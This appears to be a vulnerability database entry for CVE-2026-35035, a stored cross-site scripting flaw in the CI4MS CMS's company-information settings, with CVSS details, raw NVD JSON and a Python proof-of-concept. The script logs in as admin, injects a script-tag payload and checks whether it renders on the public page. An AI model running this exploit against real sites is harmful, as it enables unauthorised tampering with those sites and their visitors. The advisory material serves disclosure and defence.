Security Vulnerability Report
中文
CVE-2026-35035 CVSS 7.2 HIGH

CVE-2026-35035

Published: 2026-04-06 17:17:13
Last Modified: 2026-04-22 18:52:24

Description

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.2.0, the application fails to properly sanitize user-controlled input within System Settings – Company Information. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. These values are persisted in the database and rendered unsafely on public-facing pages only, such as the main landing page. There is no execution in the administrative dashboard—the vulnerability only impacts the public frontend. This vulnerability is fixed in 0.31.2.0.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* - VULNERABLE
CI4MS < 0.31.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CI4MS < 0.31.2.0 - Stored XSS in Company Information # Description: Inject malicious script via admin panel and trigger on public page. target_url = "http://target-ci4ms-site.com" login_url = f"{target_url}/admin/login" settings_url = f"{target_url}/admin/settings/company" public_url = f"{target_url}/" # Admin credentials (simulated) username = "admin" password = "password" # Malicious payload to be stored xss_payload = "<script>alert('CVE-2026-35035 XSS');</script>" session = requests.Session() # Step 1: Authenticate as Admin data = {'email': username, 'password': password} session.post(login_url, data=data) # Step 2: Send Payload to System Settings - Company Information # Assuming the field name is 'company_name' or similar based on description post_data = { 'company_name': xss_payload, # Injecting XSS here 'update': 'Save' } response = session.post(settings_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully via Admin Panel.") # Step 3: Verify execution on Public Page # Visit the main landing page as a normal user public_response = session.get(public_url) if xss_payload in public_response.text: print("[+] Vulnerability confirmed: Payload reflected on public page.") else: print("[-] Payload not found on public page.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35035", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:12.793", "lastModified": "2026-04-22T18:52:23.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.2.0, the application fails to properly sanitize user-controlled input within System Settings – Company Information. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. These values are persisted in the database and rendered unsafely on public-facing pages only, such as the main landing page. There is no execution in the administrative dashboard—the vulnerability only impacts the public frontend. This vulnerability is fixed in 0.31.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.2.0", "matchCriteriaId": "253861F6-B204-40C2-81C1-0AD431CECFB2"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}